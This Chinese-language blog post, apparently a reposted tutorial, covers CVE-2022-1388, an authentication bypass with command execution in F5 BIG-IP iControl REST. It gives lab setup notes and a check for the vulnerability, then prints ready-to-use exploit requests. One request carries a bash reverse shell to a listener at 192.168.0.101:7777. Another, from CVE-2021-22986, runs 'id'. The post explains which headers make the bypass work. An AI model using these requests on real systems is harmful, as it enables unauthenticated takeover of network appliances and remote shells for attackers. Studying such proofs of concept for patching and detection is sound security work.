本文主要是介绍F5 BIG-IP iControl REST命令执行(CVE-2022-1388),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
漏洞概述
2022年5月6日,F5官方发布了BIG-IP iControl REST的风险通告,漏洞编号为CVE-2022-1388,漏洞等级为严重。F5 BIG-IP是美国F5公司的一款集成了网络流量、应用程序安全管理、负载均衡等功能的应用交付平台。iControl REST是iControl框架的演变,使用REpresentational State Transfer。这允许用户或脚本与设备之间进行轻量级、快速的交互。
组件:F5 BIG-IP iControl REST
漏洞类型:身份验证绕过
影响:命令执行
简述:该漏洞允许未经身份验证的攻击者通过管理口或自 身ip地址对BIG-IP系统进行系统访问,以执行任 意系统命令,创建或删除文件以及禁用BIG-IP上的服务。
漏洞验证
版本:BIGIP-13.1.3.3-0.0.6
需要到F5官方去进行账号注册后,要半天时间才能收到激活邮件,才能下载F5的镜像,然后需要用邮件中发送的激活码将F5激活。F5安装激活教程,我这里选择的是低版本,系统用户账号密码:root/default,web密码:admin/admin。高版本激活比较复杂,还需要更改系统密码,web密码也有更改,在网上没找到。
F5官网:F5官网
F5下载地址:下载
访问F地址ip+/mgmt/shared/authn/login,如果返回中存在 resterrorresponse,则说明存在漏洞。
poc :
重点字段是:X-F5-Auth-Token,Authorization,Connection,通过这几个完成攻击。
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.0.104
X-F5-Auth-Token:'a'
Authorization:Basic YWRtaW46QVNhc1M=
Connection:Keep-alive,X-F5-Auth-Token
Content-Length: 82{"command":"run","utilCmdArgs":"-c 'bash -i >&/dev/tcp/192.168.0.101/7777 0>&1'"}
然后我对比了一下F5的CVE-2021-22986的poc两者之间差不多,只是绕过方式不一样,命令执行的接口都是一样的。
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.1.123:8443
Connection: close
Content-Length: 39
Cache-Control: max-age=0
Authorization: Basic YWRtaW46QVNhc1M=
X-F5-Auth-Token:
Upgrade-Insecure-Requests: 1
Content-Type: application/json{"command":"run","utilCmdArgs":"-c id"}
重要字段:Authorization:,X-F5-Auth-Token,
